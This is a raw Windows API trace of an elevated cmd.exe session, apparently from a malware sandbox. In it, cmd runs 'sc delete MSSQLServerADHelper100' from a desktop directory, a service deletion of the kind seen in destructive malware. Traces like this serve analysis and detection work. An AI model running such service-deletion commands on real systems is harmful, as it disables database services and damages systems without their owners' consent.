cbMultiByte=1, lpWideCharStr=0x49f9e360, cchWideChar=1 | out: lpWideCharStr="\n\n") returned 1 [0076.103] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.103] GetFileType (hFile=0xb8) returned 0x3 [0076.103] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.103] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.103] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.104] GetFileType (hFile=0x120) returned 0x3 [0076.104] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQLServerADHelper100\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQLServerADHelper100\n", lpUsedDefaultChar=0x0) returned 34 [0076.104] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x21, lpOverlapped=0x0) returned 1 [0076.104] GetProcessHeap () returned 0x240000 [0076.104] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0076.104] GetProcessHeap () returned 0x240000 [0076.104] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0076.104] GetProcessHeap () returned 0x240000 [0076.104] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0076.104] GetProcessHeap () returned 0x240000 [0076.104] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0076.104] GetProcessHeap () returned 0x240000 [0076.104] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4e) returned 0x2597e0 [0076.104] GetConsoleOutputCP () returned 0x1b5 [0076.104] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.105] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.105] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.105] GetProcessHeap () returned 0x240000 [0076.105] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0076.105] GetProcessHeap () returned 0x240000 [0076.105] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x54) returned 0x259840 [0076.105] GetProcessHeap () returned 0x240000 [0076.105] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0076.105] SetErrorMode (uMode=0x0) returned 0x1 [0076.105] SetErrorMode (uMode=0x1) returned 0x0 [0076.105] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0076.105] SetErrorMode (uMode=0x1) returned 0x1 [0076.106] GetProcessHeap () returned 0x240000 [0076.106] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0076.106] GetProcessHeap () returned 0x240000 [0076.106] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0076.106] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.106] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.106] GetProcessHeap () returned 0x240000 [0076.106] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0076.106] GetProcessHeap () returned 0x240000 [0076.106] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0076.106] GetProcessHeap () returned 0x240000 [0076.106] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0076.106] GetProcessHeap () returned 0x240000 [0076.106] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0076.106] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.106] GetProcessHeap () returned 0x240000 [0076.106] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0076.106] GetProcessHeap () returned 0x240000 [0076.106] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0076.106] GetProcessHeap () returned 0x240000 [0076.106] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0076.106] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.106] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.107] GetLastError () returned 0x2 [0076.107] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.107] GetLastError () returned 0x2 [0076.107] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.107] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.107] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.107] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.108] GetLastError () returned 0x2 [0076.108] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.108] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.108] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0076.108] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0076.108] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.108] GetProcessHeap () returned 0x240000 [0076.108] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0076.108] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.108] GetProcessHeap () returned 0x240000 [0076.108] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xba) returned 0x259180 [0076.108] GetProcessHeap () returned 0x240000 [0076.109] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xba [0076.109] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQLServerADHelper100") returned 1 [0076.109] GetProcessHeap () returned 0x240000 [0076.109] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0076.109] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0076.109] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0076.109] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0076.110] GetProcessHeap () returned 0x240000 [0076.110] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.110] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.111] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.111] GetProcessHeap () returned 0x240000 [0076.111] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0076.111] GetProcessHeap () returned 0x240000 [0076.111] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0076.111] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQLServerADHelper100", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQLServerADHelper100", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete MSSQLServerADHelper100", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xb80, dwThreadId=0x1c4)) returned 1 [0076.115] CloseHandle (hObject=0x50) returned 1 [0076.115] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0076.116] GetProcessHeap () returned 0x240000 [0076.116] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0076.116] GetEnvironmentStringsW () returned 0x261b10* [0076.116] GetProcessHeap () returned 0x240000 [0076.116] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0076.116] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.116] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0076.116] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0076.116] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0076.314] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0076.314] CloseHandle (hObject=0x54) returned 1 [0076.314] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0076.315] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0076.315] GetProcessHeap () returned 0x240000 [0076.315] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0076.315] GetEnvironmentStringsW () returned 0x261b10* [0076.315] GetProcessHeap () returned 0x240000 [0076.315] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0076.315] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.315] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.315] GetProcessHeap () returned 0x240000 [0076.315] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0076.315] GetEnvironmentStringsW () returned 0x261b10* [0076.315] GetProcessHeap () returned 0x240000 [0076.315] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0076.315] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.315] GetProcessHeap () returned 0x240000 [0076.315] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0076.315] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0076.315] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0076.316] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.316] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0076.316] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.316] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0076.316] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.316] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0076.316] GetConsoleOutputCP () returned 0x1b5 [0076.316] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.316] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.317] GetProcessHeap () returned 0x240000 [0076.317] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0076.317] GetProcessHeap () returned 0x240000 [0076.317] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0076.317] GetProcessHeap () returned 0x240000 [0076.317] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0076.317] GetProcessHeap () returned 0x240000 [0076.317] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.317] GetProcessHeap () returned 0x240000 [0076.317] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259840 | out: hHeap=0x240000) returned 1 [0076.317] GetProcessHeap () returned 0x240000 [0076.317] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0076.317] GetProcessHeap () returned 0x240000 [0076.317] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0076.317] GetProcessHeap () returned 0x240000 [0076.317] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0076.317] GetProcessHeap () returned 0x240000 [0076.317] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0076.317] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0076.317] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.318] GetFileType (hFile=0x120) returned 0x3 [0076.318] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0076.318] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0076.318] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.318] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.318] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.318] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0076.318] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.318] GetFileType (hFile=0x120) returned 0x3 [0076.318] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0076.319] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0076.319] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.319] GetFileType (hFile=0xb8) returned 0x3 [0076.319] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.319] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.319] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.319] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQLServerADHelper100\n\n") returned 1 [0076.319] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.319] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.319] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.319] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQLServerADHelper100\n\n") returned 1 [0076.319] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.319] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.319] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.319] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQLServerADHelper100\n\n") returned 1 [0076.319] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.319] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.319] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.319] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQLServerADHelper100\n\n") returned 1 [0076.319] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.319] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.320] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.320] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQLServerADHelper100\n\n") returned 1 [0076.320] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.320] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.320] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.320] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQLServerADHelper100\n\n") returned 1 [0076.320] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.320] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.320] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.320] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQLServerADHelper100\n\n") returned 1 [0076.320] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.320] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.320] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.320] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQLServerADHelper100\n\n") returned 1 [0076.320] _get_osfhandle (_FileHandle=0) returned 0xb8 